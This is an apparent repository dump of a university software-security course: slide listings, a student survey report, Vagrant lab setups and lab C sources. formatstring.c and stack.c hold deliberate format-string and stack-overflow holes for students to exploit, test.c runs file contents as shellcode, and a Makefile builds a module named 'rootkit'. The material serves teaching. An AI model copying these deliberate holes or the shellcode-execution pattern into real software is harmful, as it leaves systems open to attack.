/docs/2021/slides/week2/2020/lecture3.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cs-uob/COMSM0049/5bf3accde99a82b171fbb13d0f862cd21010fd7d/docs/2021/slides/week2/2020/lecture3.pdf -------------------------------------------------------------------------------- /docs/2021/slides/week2/2020/lecture3.pptx: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cs-uob/COMSM0049/5bf3accde99a82b171fbb13d0f862cd21010fd7d/docs/2021/slides/week2/2020/lecture3.pptx -------------------------------------------------------------------------------- /docs/2021/slides/week2/2020/lecture4.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cs-uob/COMSM0049/5bf3accde99a82b171fbb13d0f862cd21010fd7d/docs/2021/slides/week2/2020/lecture4.pdf -------------------------------------------------------------------------------- /docs/2021/slides/week2/2020/lecture4.pptx: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cs-uob/COMSM0049/5bf3accde99a82b171fbb13d0f862cd21010fd7d/docs/2021/slides/week2/2020/lecture4.pptx -------------------------------------------------------------------------------- /docs/2021/slides/week2/week2-ids.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cs-uob/COMSM0049/5bf3accde99a82b171fbb13d0f862cd21010fd7d/docs/2021/slides/week2/week2-ids.pdf -------------------------------------------------------------------------------- /docs/2021/slides/week2/week2-introos.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cs-uob/COMSM0049/5bf3accde99a82b171fbb13d0f862cd21010fd7d/docs/2021/slides/week2/week2-introos.pdf -------------------------------------------------------------------------------- /docs/2021/slides/week2/week2-lsm.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cs-uob/COMSM0049/5bf3accde99a82b171fbb13d0f862cd21010fd7d/docs/2021/slides/week2/week2-lsm.pdf -------------------------------------------------------------------------------- /docs/2021/slides/week3/2020/Int-overflow.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cs-uob/COMSM0049/5bf3accde99a82b171fbb13d0f862cd21010fd7d/docs/2021/slides/week3/2020/Int-overflow.pdf -------------------------------------------------------------------------------- /docs/2021/slides/week3/2020/Intro-Heap-overflow-UoB.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cs-uob/COMSM0049/5bf3accde99a82b171fbb13d0f862cd21010fd7d/docs/2021/slides/week3/2020/Intro-Heap-overflow-UoB.pdf -------------------------------------------------------------------------------- /docs/2021/slides/week3/2020/Intro-Heap-overflow-UoB.pptx: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cs-uob/COMSM0049/5bf3accde99a82b171fbb13d0f862cd21010fd7d/docs/2021/slides/week3/2020/Intro-Heap-overflow-UoB.pptx -------------------------------------------------------------------------------- /docs/2021/slides/week3/2020/Intro-Why-ROP.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cs-uob/COMSM0049/5bf3accde99a82b171fbb13d0f862cd21010fd7d/docs/2021/slides/week3/2020/Intro-Why-ROP.pdf -------------------------------------------------------------------------------- /docs/2021/slides/week3/2020/ROP-intro-UoB.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cs-uob/COMSM0049/5bf3accde99a82b171fbb13d0f862cd21010fd7d/docs/2021/slides/week3/2020/ROP-intro-UoB.pdf -------------------------------------------------------------------------------- /docs/2021/slides/week3/week3-hof.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cs-uob/COMSM0049/5bf3accde99a82b171fbb13d0f862cd21010fd7d/docs/2021/slides/week3/week3-hof.pdf -------------------------------------------------------------------------------- /docs/2021/slides/week3/week3-rop.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cs-uob/COMSM0049/5bf3accde99a82b171fbb13d0f862cd21010fd7d/docs/2021/slides/week3/week3-rop.pdf -------------------------------------------------------------------------------- /docs/2021/slides/week4/Backward analysis.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cs-uob/COMSM0049/5bf3accde99a82b171fbb13d0f862cd21010fd7d/docs/2021/slides/week4/Backward analysis.pdf -------------------------------------------------------------------------------- /docs/2021/slides/week4/Intro-Dynamic Analysis.pptx: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cs-uob/COMSM0049/5bf3accde99a82b171fbb13d0f862cd21010fd7d/docs/2021/slides/week4/Intro-Dynamic Analysis.pptx -------------------------------------------------------------------------------- /docs/2021/slides/week4/Intro-ProgAnalysisSec-UoB.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cs-uob/COMSM0049/5bf3accde99a82b171fbb13d0f862cd21010fd7d/docs/2021/slides/week4/Intro-ProgAnalysisSec-UoB.pdf -------------------------------------------------------------------------------- /docs/2021/slides/week4/Intro-Programme Analysis Security.pptx: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cs-uob/COMSM0049/5bf3accde99a82b171fbb13d0f862cd21010fd7d/docs/2021/slides/week4/Intro-Programme Analysis Security.pptx -------------------------------------------------------------------------------- /docs/2021/slides/week4/intro-DynAnalysi-Pin-intro.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cs-uob/COMSM0049/5bf3accde99a82b171fbb13d0f862cd21010fd7d/docs/2021/slides/week4/intro-DynAnalysi-Pin-intro.pdf -------------------------------------------------------------------------------- /docs/2021/slides/week4/intro-ghidra-script.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cs-uob/COMSM0049/5bf3accde99a82b171fbb13d0f862cd21010fd7d/docs/2021/slides/week4/intro-ghidra-script.pdf -------------------------------------------------------------------------------- /docs/2021/slides/week5/Intro-concurrency-fuzz.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cs-uob/COMSM0049/5bf3accde99a82b171fbb13d0f862cd21010fd7d/docs/2021/slides/week5/Intro-concurrency-fuzz.pdf -------------------------------------------------------------------------------- /docs/2021/slides/week5/Intro-fuzzzing.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cs-uob/COMSM0049/5bf3accde99a82b171fbb13d0f862cd21010fd7d/docs/2021/slides/week5/Intro-fuzzzing.pdf -------------------------------------------------------------------------------- /docs/2021/slides/week5/intro-defence-mitigation.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cs-uob/COMSM0049/5bf3accde99a82b171fbb13d0f862cd21010fd7d/docs/2021/slides/week5/intro-defence-mitigation.pdf -------------------------------------------------------------------------------- /docs/2021/slides/week6/lecture1.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cs-uob/COMSM0049/5bf3accde99a82b171fbb13d0f862cd21010fd7d/docs/2021/slides/week6/lecture1.pdf -------------------------------------------------------------------------------- /docs/2021/slides/week6/lecture1.pptx: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cs-uob/COMSM0049/5bf3accde99a82b171fbb13d0f862cd21010fd7d/docs/2021/slides/week6/lecture1.pptx -------------------------------------------------------------------------------- /docs/2021/slides/week6/lecture2.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cs-uob/COMSM0049/5bf3accde99a82b171fbb13d0f862cd21010fd7d/docs/2021/slides/week6/lecture2.pdf -------------------------------------------------------------------------------- /docs/2021/slides/week6/lecture2.pptx: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cs-uob/COMSM0049/5bf3accde99a82b171fbb13d0f862cd21010fd7d/docs/2021/slides/week6/lecture2.pptx -------------------------------------------------------------------------------- /docs/2021/slides/week6/lecture3.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cs-uob/COMSM0049/5bf3accde99a82b171fbb13d0f862cd21010fd7d/docs/2021/slides/week6/lecture3.pdf -------------------------------------------------------------------------------- /docs/2021/slides/week6/lecture3.pptx: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cs-uob/COMSM0049/5bf3accde99a82b171fbb13d0f862cd21010fd7d/docs/2021/slides/week6/lecture3.pptx -------------------------------------------------------------------------------- /docs/2021/slides/week6/lecture4.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cs-uob/COMSM0049/5bf3accde99a82b171fbb13d0f862cd21010fd7d/docs/2021/slides/week6/lecture4.pdf -------------------------------------------------------------------------------- /docs/2021/slides/week6/lecture4.pptx: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cs-uob/COMSM0049/5bf3accde99a82b171fbb13d0f862cd21010fd7d/docs/2021/slides/week6/lecture4.pptx -------------------------------------------------------------------------------- /docs/2021/slides/week6/lecture5.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cs-uob/COMSM0049/5bf3accde99a82b171fbb13d0f862cd21010fd7d/docs/2021/slides/week6/lecture5.pdf -------------------------------------------------------------------------------- /docs/2021/slides/week6/lecture5.pptx: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cs-uob/COMSM0049/5bf3accde99a82b171fbb13d0f862cd21010fd7d/docs/2021/slides/week6/lecture5.pptx -------------------------------------------------------------------------------- /docs/2021/slides/week7/2020/lecture1.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cs-uob/COMSM0049/5bf3accde99a82b171fbb13d0f862cd21010fd7d/docs/2021/slides/week7/2020/lecture1.pdf -------------------------------------------------------------------------------- /docs/2021/slides/week7/2020/lecture1.pptx: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cs-uob/COMSM0049/5bf3accde99a82b171fbb13d0f862cd21010fd7d/docs/2021/slides/week7/2020/lecture1.pptx -------------------------------------------------------------------------------- /docs/2021/slides/week7/2020/lecture2.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cs-uob/COMSM0049/5bf3accde99a82b171fbb13d0f862cd21010fd7d/docs/2021/slides/week7/2020/lecture2.pdf -------------------------------------------------------------------------------- /docs/2021/slides/week7/2020/lecture2.pptx: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cs-uob/COMSM0049/5bf3accde99a82b171fbb13d0f862cd21010fd7d/docs/2021/slides/week7/2020/lecture2.pptx -------------------------------------------------------------------------------- /docs/2021/slides/week7/2020/lecture3.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cs-uob/COMSM0049/5bf3accde99a82b171fbb13d0f862cd21010fd7d/docs/2021/slides/week7/2020/lecture3.pdf -------------------------------------------------------------------------------- /docs/2021/slides/week7/2020/lecture3.pptx: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cs-uob/COMSM0049/5bf3accde99a82b171fbb13d0f862cd21010fd7d/docs/2021/slides/week7/2020/lecture3.pptx -------------------------------------------------------------------------------- /docs/2021/slides/week7/week7-meltdown.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cs-uob/COMSM0049/5bf3accde99a82b171fbb13d0f862cd21010fd7d/docs/2021/slides/week7/week7-meltdown.pdf -------------------------------------------------------------------------------- /docs/2021/slides/week7/week7-rowhammer.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cs-uob/COMSM0049/5bf3accde99a82b171fbb13d0f862cd21010fd7d/docs/2021/slides/week7/week7-rowhammer.pdf -------------------------------------------------------------------------------- /docs/2021/slides/week7/week7-speculative-execution.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cs-uob/COMSM0049/5bf3accde99a82b171fbb13d0f862cd21010fd7d/docs/2021/slides/week7/week7-speculative-execution.pdf -------------------------------------------------------------------------------- /docs/2021/survey.md: -------------------------------------------------------------------------------- 1 | # Surveys 2 | 3 | ## Week 1 Survey 4 | 5 | As promised a detailed report on the survey we launched after the end of week 1. We will run a further survey later during the term to see how you are feeling after a few weeks. 6 | 7 | 1. I have watched all videos for Week 1. 8 | 2. I have finished lab 1. 9 | 3. I have finished the first exercise sheet. 10 | 4. Rate the videos and reading material. (5 star) 11 | 5. Comments about videos and reading material. 12 | 6. Rate the lab session. (5 star) 13 | 7. Comment about the lab session. 14 | 8. Rate the exercise sheet. 15 | 9. Comment about the exercise sheet. 16 | 10. I would have preferred the unit to be on blackboard. 17 | 11. I feel that I have the necessary equipment/broadband to fully participate. 18 | 12. I would like the TAs supported hour to be switched with peer hour on Tuesday. 19 | 20 | ### Results 21 | Only 13 students out ~40 participated in the survey. This is a bit disappointing, especially as we can only enact changes based on the feedback we get. 22 | 23 | 1. 100% of students who participated in the survey watched all the videos. We know that around a dozen students haven’t watched all the videos for week 1. 24 | 2. All but one student had finished lab 1. 25 | 3. 62% did not finish the exercise sheet for week 1. 26 | 4. The average rating for the videos is 3.92/5. 27 | 5. The average rating for the lab session is 3.54/5. 28 | 6. The average rating for the exercise sheet is 3/5. 29 | 7. No student would like for the unit to be on blackboard. 30 | 8. All students felt they had the broadband/equipment to fully participate in the course. 31 | 9. Most students (69%) were happy with the current organisation of the TA support. 32 | 33 | ### The bad 34 | 35 | Let’s start with some of the things that are not quite working. 36 | 37 | Something that is coming quite often is how tightly packed week 1 is. Indeed, the videos, the labs and the exercises have a lot of overlap and it seemed a lot to initially catch on. We have designed videos and exercise sheets to be in sync on a weekly basis and the labs to follow one week later. Week 1 is the exception. We expected the students to have an easier time with the first lab than they had. In retrospect, if/when we run the unit again we would probably not run the first lab or arrange the schedule differently. This is something we will consider carefully for next year. 38 | 39 | A second topic that came a few time is the audio quality of some of the videos. We acknowledge that there either a computer fan noise or the noise canceller make hearing what is said difficult. We think the audio quality in the subsequent weeks is a bit better, but still not ideal. We will discuss with the department/university to be given access to better equipment if we need to deliver content in this manner again. 40 | 41 | A third thing that seemed to not be quite working is the peer sessions. A few of students reported that their peers did not join the session and the usefulness was therefore limited. Encouraging online engagement is something we are trying to improve, but it eventually falls down to the students to make the effort to be there. We are open to suggestions on how we could make the peer sessions more useful and how to encourage participation. 42 | 43 | Some students seem to think the unit is a bit too much work compared to others. “Without the exercise sheet or the extra reading, I feel as though the workload would be similar to that of my other units.” We think a lot of those comments around “workload” are related to the specific issue around week 1, but we will monitor the situation to make sure that is indeed the root cause. 44 | 45 | ### The meh 46 | 47 | Things that are ok, but could be better. 48 | 49 | Some students have suggested that we should make clear which “lecture” videos relate to which labs. This is something easy enough to do and we should be updating the website with this shortly. 50 | 51 | In general, the students seem satisfied with the videos (except for the technical issues pointed above), the videos “introduce the higher-level concepts and the practical labs clarify the technical details”. This is what we were aiming for and we are happy that it works. There is some mixed feeling around the length of the video (5 to 30 minutes depending on the topics). Some find them too long. We have tried to divide the lecture content in meaningful chunks, but this may be something that needs to be revised as we gain more experience with online teaching. 52 | 53 | Some of the students think that the exercises are a bit too long and overlap too much with the lab. We think, as mentioned earlier, that this is mostly due to the nature of week 1 that did not quite work as anticipated. Exercises are meant to help students internalise the videos content, go a bit further and prepare them for the lab. We will gauge in the next survey if it is working as intended. 54 | 55 | Some of the students are asking for answers to the exercise sheets. We were aiming to discuss them during Q&A sessions. We will aim to bring this up more clearly during the next Q&A, if this does not work we will see how to make sure the students get the most out that particular activity. 56 | 57 | ### The good 58 | 59 | There are luckily some good things with the unit. 60 | 61 | Generally, the students are quite happy with the level of interactivity with both the instructors and the TAs. They generally feel their questions get answered quickly and that they can make good progress. As instructors, we were particularly worried about participation during the Q&A, but it went better than we expected and students engaged and asked many questions. 62 | 63 | A lot of students really appreciate the practical nature of the unit. We are really glad and that is what we were aiming for with this unit. The students also appreciate to be listened to and that their feedback is taken into account. This is something we aim to continue to do within the constraints of the curriculum and the university. 64 | 65 | ### Conclusion 66 | 67 | While there are some rough edges, given that it is 1) a new unit, 2) under a new method of delivery and 3) under less than ideal circumstances, we think things are going pretty well. A majority of students have engaged well with the unit and seem overall relatively happy. An important thing to monitor is the workload level mid-term. We are also concerned about a group of a dozen students who don’t seem to be engaging with the unit properly. 68 | 69 | ## Week 2 Survey 70 | 71 | As promised a detailed report on the survey we launched after the end of week 3. We will run a further survey around week 7 to gather how you felt overall about the teaching part of the unit. 72 | 73 | 1. I feel that I am keeping up with the unit. 74 | 2. Comments. 75 | 3. Rate the videos and reading material. 76 | 4. Comments about the videos and reading material. 77 | 5. Rate the exercise sheets. 78 | 6. Comments about the exercise sheets. 79 | 7. Rate the labs. 80 | 8. Comments about the labs. 81 | 9. Rate the Q&A. 82 | 10. Comments on the Q&A (if you are not participating, tell us why). 83 | 11. Rate the peer labs. 84 | 12. Comments on the peer lab (if you are not participating, tell us why). 85 | 86 | ### Results & General Comments 87 | 88 | We received 11 response to our survey out of 39 students (as per blackboard so +- some). 89 | 90 | 1. 81% of students are keeping up with the unit. 91 | 2. Video and reading material rating: 3.82 92 | 3. Exercise sheet rating: 3.55 93 | 4. Labs rating: 4.18 94 | 5. Q&A rating: 4.18 95 | 6. Peer labs rating: 3.64 96 | 97 | Overall students like the lab and Q&A, the videos and the reading material are good, but the peer labs and the exercise sheet not so much. In the next survey, we will separate rating for video and reading material as to understand a bit more precisely what you don’t like. 98 | 99 | ### Discussion 100 | 101 | We had very positive feedback on the labs. The students really enjoy the practical aspects of the unit and we are told that the labs are interesting and challenging. We hope to keep it that way. We are adding videos on common problems with the labs to try to support the students given the covid situation (obviously there is a delay as we need first to gather common problems), we also answer questions during the Q&A and throughout the week on discord. Generally, students feel that if they get stuck they get the help they need relatively quickly. 102 | 103 | In the last Q&A recording did not show some of what was being shown during the live stream (i.e. non-browser application). That should hopefully be sorted for the next Q&A. During the Q&A, questions are mostly focused on the labs. 104 | 105 | This lead to our next point: the exercise sheet. We would like the students to engage with the exercise sheet during the Q&A session. We are hoping to trigger discussion, but this is not happening. We are asked for correction for the exercises, but we would really like for something more interactive to happen. Some questions are open-ended and similar to what will be found in the exam. We believe that the best way to learn how to answer such questions is to discuss them in “class” (this year during the Q&A). There may be a mismatch of expectation that we need to correct and we need to communicate more clearly what we think should happen. 106 | 107 | Students are not convinced by the scheduled peer lab sessions and prefer to work on their own time and organise themselves. This is understandable. We believe that we could do without them or replacing one of the two hours of peer labs by an extra hour of TA supported lab. This is unlikely to happen during TB1, but we will make sure the department is aware. 108 | 109 | We have released the coursework format following popular demand. The topic(s) are still under embargo as per instructed by the department so students don’t work on coursework before week 8. We have attempted to strike a balance between group work and individual contributions. We will communicate submission details and deadline once confirmed with the administration. 110 | 111 | Finally, while a number of students have engaged very well with the unit and we start to recognise some name on discord. Other students seem to be disengaging. We are concerned and hope they could leverage the opportunity to interact with TAs and lecturers while we are still available. 112 | -------------------------------------------------------------------------------- /docs/2021/vagrants/lab1/Vagrantfile: -------------------------------------------------------------------------------- 1 | # -*- mode: ruby -*- 2 | # vi: set ft=ruby : 3 | 4 | Vagrant.configure("2") do |config| 5 | config.vm.define "box" do |box| 6 | box.vm.box = "hashicorp/precise32" 7 | box.vm.hostname = "lab1-box" 8 | box.vm.provider "virtualbox" do |virtualbox| 9 | virtualbox.name="lab1-box" 10 | end 11 | end 12 | end 13 | -------------------------------------------------------------------------------- /docs/2021/vagrants/lab1/formatstring.c: -------------------------------------------------------------------------------- 1 | /* vul_prog.c */ 2 | 3 | #include 4 | #include 5 | 6 | #define SECRET1 0x44 7 | #define SECRET2 0x55 8 | 9 | int main(int argc, char *argv[]) 10 | { 11 | char user_input[100]; 12 | int *secret; 13 | int int_input; 14 | int a, b, c, d; /* other variables, not used here.*/ 15 | 16 | /* The secret value is stored on the heap */ 17 | secret = (int *) malloc(2*sizeof(int)); 18 | 19 | /* getting the secret */ 20 | secret[0] = SECRET1; secret[1] = SECRET2; 21 | 22 | printf("The variable secret's address is 0x%8x (on stack)\n", (unsigned int)&secret); 23 | printf("The variable secret's value is 0x%8x (on heap)\n", (unsigned int)secret); 24 | printf("secret[0]'s address is 0x%8x (on heap)\n", (unsigned int)&secret[0]); 25 | printf("secret[1]'s address is 0x%8x (on heap)\n", (unsigned int)&secret[1]); 26 | 27 | printf("Please enter a decimal integer\n"); 28 | scanf("%d", &int_input); /* getting an input from user */ 29 | printf("Please enter a string\n"); 30 | scanf("%s", user_input); /* getting a string from user */ 31 | 32 | /* Vulnerable place */ 33 | printf(user_input); 34 | printf("\n"); 35 | 36 | /* Verify whether your attack is successful */ 37 | printf("The original secrets: 0x%x -- 0x%x\n", SECRET1, SECRET2); 38 | printf("The new secrets: 0x%x -- 0x%x\n", secret[0], secret[1]); 39 | return 0; 40 | } 41 | -------------------------------------------------------------------------------- /docs/2021/vagrants/lab2/Vagrantfile: -------------------------------------------------------------------------------- 1 | # -*- mode: ruby -*- 2 | # vi: set ft=ruby : 3 | 4 | Vagrant.configure("2") do |config| 5 | config.vm.define "box" do |box| 6 | box.vm.box = "hashicorp/precise32" 7 | box.vm.hostname = "lab1-box" 8 | box.vm.provider "virtualbox" do |virtualbox| 9 | virtualbox.name="lab2-box" 10 | end 11 | end 12 | end 13 | -------------------------------------------------------------------------------- /docs/2021/vagrants/lab2/stack.c: -------------------------------------------------------------------------------- 1 | /* stack.c */ 2 | 3 | /* This program has a buffer overflow vulnerability. */ 4 | /* Our task is to exploit this vulnerability */ 5 | #include 6 | #include 7 | #include 8 | 9 | int bof(char *str) 10 | { 11 | char buffer[24]; 12 | 13 | /* The following statement has a buffer overflow problem */ 14 | strcpy(buffer, str); 15 | 16 | return 1; 17 | } 18 | 19 | int main(int argc, char **argv) 20 | { 21 | char str[517]; 22 | FILE *badfile; 23 | 24 | badfile = fopen("badfile", "r"); 25 | fread(str, sizeof(char), 517, badfile); 26 | bof(str); 27 | 28 | printf("Returned Properly\n"); 29 | return 1; 30 | } 31 | -------------------------------------------------------------------------------- /docs/2021/vagrants/lab2/test.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | 5 | int main() { 6 | char b[1024]; 7 | FILE *f; 8 | 9 | f = fopen("badfile", "r"); 10 | fread(b, sizeof(char), 1024, f); 11 | fclose(f); 12 | 13 | ((void(*)())b)(); 14 | } 15 | -------------------------------------------------------------------------------- /docs/2021/vagrants/lab3/Vagrantfile: -------------------------------------------------------------------------------- 1 | # -*- mode: ruby -*- 2 | # vi: set ft=ruby : 3 | 4 | # All Vagrant configuration is done below. The "2" in Vagrant.configure 5 | # configures the configuration version (we support older styles for 6 | # backwards compatibility). Please don't change it unless you know what 7 | # you're doing. 8 | Vagrant.configure(2) do |config| 9 | # The most common configuration options are documented and commented below. 10 | # For a complete reference, please see the online documentation at 11 | # https://docs.vagrantup.com. 12 | 13 | # Every Vagrant development environment requires a box. You can search for 14 | # boxes at https://atlas.hashicorp.com/search. 15 | config.vm.box = "fedora/32-cloud-base" 16 | 17 | # Disable automatic box update checking. If you disable this, then 18 | # boxes will only be checked for updates when the user runs 19 | # `vagrant box outdated`. This is not recommended. 20 | # config.vm.box_check_update = false 21 | 22 | # Create a forwarded port mapping which allows access to a specific port 23 | # within the machine from a port on the host machine. In the example below, 24 | # accessing "localhost:8080" will access port 80 on the guest machine. 25 | # config.vm.network "forwarded_port", guest: 80, host: 8080 26 | 27 | # Create a private network, which allows host-only access to the machine 28 | # using a specific IP. 29 | # config.vm.network "private_network", ip: "192.168.33.10" 30 | 31 | # Create a public network, which generally matched to bridged network. 32 | # Bridged networks make the machine appear as another physical device on 33 | # your network. 34 | # config.vm.network "public_network" 35 | 36 | # Share an additional folder to the guest VM. The first argument is 37 | # the path on the host to the actual folder. The second argument is 38 | # the path on the guest to mount the folder. And the optional third 39 | # argument is a set of non-required options. 40 | config.vm.synced_folder "./guest", "/vagrant", create: true, owner: 'vagrant', disabled: false, type: 'virtualbox' 41 | 42 | # Provider-specific configuration so you can fine-tune various 43 | # backing providers for Vagrant. These expose provider-specific options. 44 | # Example for VirtualBox: 45 | # 46 | config.vm.provider "virtualbox" do |vb| 47 | # Display the VirtualBox GUI when booting the machine 48 | vb.gui = true 49 | # Customize the amount of memory on the VM: 50 | vb.memory = "8192" 51 | # Customize CPU cap 52 | vb.customize ["modifyvm", :id, "--cpuexecutioncap", "70"] 53 | # Customize number of CPU 54 | vb.cpus = 6 55 | # Customize VM name 56 | vb.name = "lab6-box" 57 | # Disable usb 2.0 58 | vb.customize ["modifyvm", :id, "--usb", "on"] 59 | vb.customize ["modifyvm", :id, "--usbehci", "off"] 60 | end 61 | # 62 | # View the documentation for the provider you are using for more 63 | # information on available options. 64 | 65 | # Define a Vagrant Push strategy for pushing to Atlas. Other push strategies 66 | # such as FTP and Heroku are also available. See the documentation at 67 | # https://docs.vagrantup.com/v2/push/atlas.html for more information. 68 | # config.push.define "atlas" do |push| 69 | # push.app = "YOUR_ATLAS_USERNAME/YOUR_APPLICATION_NAME" 70 | # end 71 | 72 | config.trigger.after :destroy do |trigger| 73 | trigger.name = "Clean-up" 74 | trigger.info = "Cleaning things up!" 75 | trigger.ruby do |env,machine| 76 | require 'fileutils' 77 | FileUtils.rm_rf('guest') 78 | end 79 | end 80 | 81 | # Enable provisioning with a shell script. Additional provisioners such as 82 | # Puppet, Chef, Ansible, Salt, and Docker are also available. Please see the 83 | # documentation for more information about their specific syntax and use. 84 | config.vm.provision "shell", inline: <<-SHELL 85 | sudo dnf -y -v upgrade 86 | sudo dnf -y -v groupinstall 'Development Tools' 87 | sudo dnf -y -v install fedpkg fedora-packager rpmdevtools ncurses-devel 88 | sudo dnf -y -v install cmake clang gcc-c++ wget git pesign grubby 89 | sudo dnf -y -v install openssl-devel bc nano patch mosquitto sparse 90 | sudo dnf -y -v install flawfinder elfutils-libelf-devel 91 | sudo dnf -y -v install bison flex 92 | sudo dnf -y -v install uthash-devel 93 | sudo dnf -y -v install inih-devel 94 | sudo dnf -y -v install paho-c-devel 95 | sudo dnf -y -v install uncrustify 96 | sudo dnf -y -v install rpm-build 97 | sudo dnf -y -v install coccinelle 98 | sudo dnf -y -v install phoronix-test-suite 99 | sudo dnf -y -v install automake 100 | sudo dnf -y -v install alien 101 | sudo dnf -y -v install dwarves 102 | sudo dnf -y -v install python38 103 | sudo dnf -y -v install llvm bpftool libbpf libbpf-devel elfutils-libelf libcap 104 | 105 | # make it so that /tmp is cleaned on reboot 106 | touch /etc/tmpfiles.d/boot.conf 107 | echo 'R! /tmp 1777 root root ~0' > /etc/tmpfiles.d/boot.conf 108 | SHELL 109 | end 110 | -------------------------------------------------------------------------------- /docs/2021/vagrants/lab7/Makefile: -------------------------------------------------------------------------------- 1 | obj-m += rootkit.o 2 | 3 | all: 4 | make -C /lib/modules/$(shell uname -r)/build M=$(shell pwd) modules 5 | 6 | clean: 7 | make -C /lib/modules/$(shell uname -r)/build M=$(shell pwd) clean 8 | -------------------------------------------------------------------------------- /docs/2021/vagrants/lab7/Vagrantfile: -------------------------------------------------------------------------------- 1 | # -*- mode: ruby -*- 2 | # vi: set ft=ruby : 3 | 4 | # All Vagrant configuration is done below. The "2" in Vagrant.configure 5 | # configures the configuration version (we support older styles for 6 | # backwards compatibility). Please don't change it unless you know what 7 | # you're doing. 8 | Vagrant.configure(2) do |config| 9 | # The most common configuration options are documented and commented below. 10 | # For a complete reference, please see the online documentation at 11 | # https://docs.vagrantup.com. 12 | 13 | # Every Vagrant development environment requires a box. You can search for 14 | # boxes at https://atlas.hashicorp.com/search. 15 | config.vm.box = "bento/ubuntu-12.04" 16 | 17 | # Disable automatic box update checking. If you disable this, then 18 | # boxes will only be checked for updates when the user runs 19 | # `vagrant box outdated`. This is not recommended. 20 | # config.vm.box_check_update = false 21 | 22 | # Create a forwarded port mapping which allows access to a specific port 23 | # within the machine from a port on the host machine. In the example below, 24 | # accessing "localhost:8080" will access port 80 on the guest machine. 25 | # config.vm.network "forwarded_port", guest: 80, host: 8080 26 | 27 | # Create a private network, which allows host-only access to the machine 28 | # using a specific IP. 29 | # config.vm.network "private_network", ip: "192.168.33.10" 30 | 31 | # Create a public network, which generally matched to bridged network. 32 | # Bridged networks make the machine appear as another physical device on 33 | # your network. 34 | # config.vm.network "public_network" 35 | 36 | # Share an additional folder to the guest VM. The first argument is 37 | # the path on the host to the actual folder. The second argument is 38 | # the path on the guest to mount the folder. And the optional third 39 | # argument is a set of non-required options. 40 | config.vm.synced_folder "./guest", "/vagrant", create: true, owner: 'vagrant', disabled: false, type: 'virtualbox' 41 | 42 | # Provider-specific configuration so you can fine-tune various 43 | # backing providers for Vagrant. These expose provider-specific options. 44 | # Example for VirtualBox: 45 | # 46 | config.vm.provider "virtualbox" do |vb| 47 | # Display the VirtualBox GUI when booting the machine 48 | vb.gui = true 49 | # Customize the amount of memory on the VM: 50 | vb.memory = "8192" 51 | # Customize CPU cap 52 | vb.customize ["modifyvm", :id, "--cpuexecutioncap", "70"] 53 | # Customize number of CPU 54 | vb.cpus = 6 55 | # Customize VM name 56 | vb.name = "lab7" 57 | end 58 | # 59 | # View the documentation for the provider you are using for more 60 | # information on available options. 61 | 62 | # Define a Vagrant Push strategy for pushing to Atlas. Other push strategies 63 | # such as FTP and Heroku are also available. See the documentation at 64 | # https://docs.vagrantup.com/v2/push/atlas.html for more information. 65 | # config.push.define "atlas" do |push| 66 | # push.app = "YOUR_ATLAS_USERNAME/YOUR_APPLICATION_NAME" 67 | # end 68 | 69 | config.trigger.after :destroy do |trigger| 70 | trigger.name = "Clean-up" 71 | trigger.info = "Cleaning things up!" 72 | trigger.ruby do |env,machine| 73 | require 'fileutils' 74 | FileUtils.rm_rf('guest') 75 | end 76 | end 77 | 78 | # Enable provisioning with a shell script. Additional provisioners such as 79 | # Puppet, Chef, Ansible, Salt, and Docker are also available. Please see the 80 | # documentation for more information about their specific syntax and use. 81 | config.vm.provision "shell", inline: <<-SHELL 82 | sudo DEBIAN_FRONTEND=noninteractive apt-get -y install build-essential 83 | sudo DEBIAN_FRONTEND=noninteractive apt-get -y install libncurses-dev cmake 84 | sudo DEBIAN_FRONTEND=noninteractive apt-get -y install clang gcc g++ wget 85 | sudo DEBIAN_FRONTEND=noninteractive apt-get -y install git libssl-dev bc 86 | sudo DEBIAN_FRONTEND=noninteractive apt-get -y install nano patch mosquitto 87 | sudo DEBIAN_FRONTEND=noninteractive apt-get -y install sparse flawfinder 88 | sudo 